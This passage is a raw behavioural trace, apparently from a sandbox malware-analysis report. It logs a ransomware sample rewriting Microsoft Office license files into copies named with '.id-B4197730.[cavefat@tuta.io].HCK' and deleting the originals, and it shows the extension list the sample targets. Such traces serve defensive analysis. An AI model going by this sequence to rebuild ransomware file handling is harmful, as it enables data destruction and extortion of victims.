lpNumberOfBytesRead=0x2e5fecc*=0x2d5c, lpOverlapped=0x0) returned 1 [0239.720] WriteFile (in: hFile=0x378, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0239.721] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.721] WriteFile (in: hFile=0x378, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x11a, lpOverlapped=0x0) returned 1 [0239.721] SetEndOfFile (hFile=0x378) returned 1 [0239.721] CloseHandle (hObject=0x378) returned 1 [0239.721] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.722] SetEndOfFile (hFile=0x4a0) returned 1 [0239.724] CloseHandle (hObject=0x4a0) returned 1 [0239.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 1 [0239.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0239.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0239.726] lstrlenW (lpString=".doc") returned 4 [0239.726] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.726] lstrlenW (lpString=".docx") returned 5 [0239.726] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.726] lstrlenW (lpString=".pdf") returned 4 [0239.726] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.726] lstrlenW (lpString=".xls") returned 4 [0239.726] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.726] lstrlenW (lpString=".xlsx") returned 5 [0239.726] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.726] lstrlenW (lpString=".ppt") returned 4 [0239.726] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0239.726] lstrlenW (lpString=".zip") returned 4 [0239.726] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.726] lstrlenW (lpString=".rar") returned 4 [0239.726] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.726] lstrlenW (lpString=".bz2") returned 4 [0239.726] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.726] lstrlenW (lpString=".7z") returned 3 [0239.726] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0239.726] lstrlenW (lpString=".dbf") returned 4 [0239.726] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0239.726] lstrlenW (lpString=".1cd") returned 4 [0239.726] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0239.726] lstrlenW (lpString=".jpg") returned 4 [0239.726] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0239.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0239.726] lstrlenW (lpString=".doc") returned 4 [0239.726] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.726] lstrlenW (lpString=".docx") returned 5 [0239.726] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.726] lstrlenW (lpString=".pdf") returned 4 [0239.726] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.727] lstrlenW (lpString=".xls") returned 4 [0239.727] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.727] lstrlenW (lpString=".xlsx") returned 5 [0239.727] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.727] lstrlenW (lpString=".ppt") returned 4 [0239.727] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0239.727] lstrlenW (lpString=".zip") returned 4 [0239.727] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.727] lstrlenW (lpString=".rar") returned 4 [0239.727] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.727] lstrlenW (lpString=".bz2") returned 4 [0239.727] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.727] lstrlenW (lpString=".7z") returned 3 [0239.727] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0239.727] lstrlenW (lpString=".dbf") returned 4 [0239.727] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0239.727] lstrlenW (lpString=".1cd") returned 4 [0239.727] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0239.727] lstrlenW (lpString=".jpg") returned 4 [0239.727] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.727] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0239.727] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 35 [0239.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.728] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=19957) returned 1 [0239.728] CloseHandle (hObject=0x4a0) returned 1 [0239.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0239.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.729] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.729] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0239.730] GetLastError () returned 0x0 [0239.730] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x4df5, lpOverlapped=0x0) returned 1 [0239.732] WriteFile (in: hFile=0x378, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0239.733] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.733] WriteFile (in: hFile=0x378, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x11a, lpOverlapped=0x0) returned 1 [0239.733] SetEndOfFile (hFile=0x378) returned 1 [0239.733] CloseHandle (hObject=0x378) returned 1 [0239.733] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.733] SetEndOfFile (hFile=0x4a0) returned 1 [0239.735] CloseHandle (hObject=0x4a0) returned 1 [0239.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 1 [0239.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0239.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0239.737] lstrlenW (lpString=".doc") returned 4 [0239.737] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.737] lstrlenW (lpString=".docx") returned 5 [0239.737] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.737] lstrlenW (lpString=".pdf") returned 4 [0239.737] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.737] lstrlenW (lpString=".xls") returned 4 [0239.737] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.737] lstrlenW (lpString=".xlsx") returned 5 [0239.737] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.737] lstrlenW (lpString=".ppt") returned 4 [0239.737] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0239.737] lstrlenW (lpString=".zip") returned 4 [0239.737] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.737] lstrlenW (lpString=".rar") returned 4 [0239.737] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.737] lstrlenW (lpString=".bz2") returned 4 [0239.737] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.737] lstrlenW (lpString=".7z") returned 3 [0239.737] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0239.737] lstrlenW (lpString=".dbf") returned 4 [0239.737] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0239.737] lstrlenW (lpString=".1cd") returned 4 [0239.737] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0239.738] lstrlenW (lpString=".jpg") returned 4 [0239.738] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0239.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0239.738] lstrlenW (lpString=".doc") returned 4 [0239.738] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.738] lstrlenW (lpString=".docx") returned 5 [0239.738] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.738] lstrlenW (lpString=".pdf") returned 4 [0239.738] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.738] lstrlenW (lpString=".xls") returned 4 [0239.738] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.738] lstrlenW (lpString=".xlsx") returned 5 [0239.738] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.738] lstrlenW (lpString=".ppt") returned 4 [0239.738] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0239.738] lstrlenW (lpString=".zip") returned 4 [0239.738] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.738] lstrlenW (lpString=".rar") returned 4 [0239.738] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.738] lstrlenW (lpString=".bz2") returned 4 [0239.738] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.738] lstrlenW (lpString=".7z") returned 3 [0239.738] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0239.738] lstrlenW (lpString=".dbf") returned 4 [0239.738] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0239.738] lstrlenW (lpString=".1cd") returned 4 [0239.738] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0239.738] lstrlenW (lpString=".jpg") returned 4 [0239.738] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.738] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0239.738] lstrlenW (lpString="HomeStudentR_Retail-pl.xrm-ms") returned 29 [0239.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.739] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10651) returned 1 [0239.739] CloseHandle (hObject=0x4a0) returned 1 [0239.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 0x220 [0239.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0239.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0239.740] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.740] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0239.741] GetLastError () returned 0x0 [0239.741] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x299b, lpOverlapped=0x0) returned 1 [0239.743] WriteFile (in: hFile=0x378, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0239.743] ReadFile (in: hFile=0x4a0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.744] WriteFile (in: hFile=0x378, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10e, lpOverlapped=0x0) returned 1 [0239.744] SetEndOfFile (hFile=0x378) returned 1 [0239.744] CloseHandle (hObject=0x378) returned 1 [0239.746] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.746] SetEndOfFile (hFile=0x4a0) returned 1 [0239.748] CloseHandle (hObject=0x4a0) returned 1 [0239.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0239.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 1 [0239.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0239.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0239.887] lstrlenW (lpString=".doc") returned 4 [0239.887] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.887] lstrlenW (lpString=".docx") returned 5 [0239.887] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.887] lstrlenW (lpString=".pdf") returned 4 [0239.887] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.887] lstrlenW (lpString=".xls") returned 4 [0239.887] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.887] lstrlenW (lpString=".xlsx") returned 5 [0239.887] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.887] lstrlenW (lpString=".ppt") returned 4 [0239.887] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0239.888] lstrlenW (lpString=".zip") returned 4 [0239.888] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.888] lstrlenW (lpString=".rar") returned 4 [0239.888] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.888] lstrlenW (lpString=".bz2") returned 4 [0239.888] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.888] lstrlenW (lpString=".7z") returned 3 [0239.888] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0239.888] lstrlenW (lpString=".dbf") returned 4 [0239.888] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0239.888] lstrlenW (lpString=".1cd") returned 4 [0239.888] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0239.888] lstrlenW (lpString=".jpg") returned 4 [0239.888] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0239.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0239.888] lstrlenW (lpString=".doc") returned 4 [0239.888] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0239.888] lstrlenW (lpString=".docx") returned 5 [0239.888] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0239.888] lstrlenW (lpString=".pdf") returned 4 [0239.888] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0239.888] lstrlenW (lpString=".xls") returned 4 [0239.888] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0239.888] lstrlenW (lpString=".xlsx") returned 5 [0239.888] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0239.888] lstrlenW (lpString=".ppt") returned 4 [0239.888] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0239.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0239.888] lstrlenW (lpString=".zip") returned 4 [0239.889] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0239.889] lstrlenW (lpString=".rar") returned 4 [0239.889] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0239.889] lstrlenW (lpString=".bz2") returned 4 [0239.889] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0239.889] lstrlenW (lpString=".7z") returned 3 [0239.889] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0239.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0239.889] lstrlenW (lpString=".dbf") returned 4 [0239.889] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0239.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0239.889] lstrlenW (lpString=".1cd") returned 4 [0239.889] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0239.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0239.889] lstrlenW (lpString=".jpg") returned 4 [0239.889] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0239.889] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0239.889] lstrlenW (lpString="HomeStudentR_Retail-ul-oob.xrm-ms") returned 33 [0239.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0239.970] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11604) returned 1 [0239.970] CloseHandle (hObject=0x4a4) returned 1 [0239.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 0x220 [0240.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.140] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: 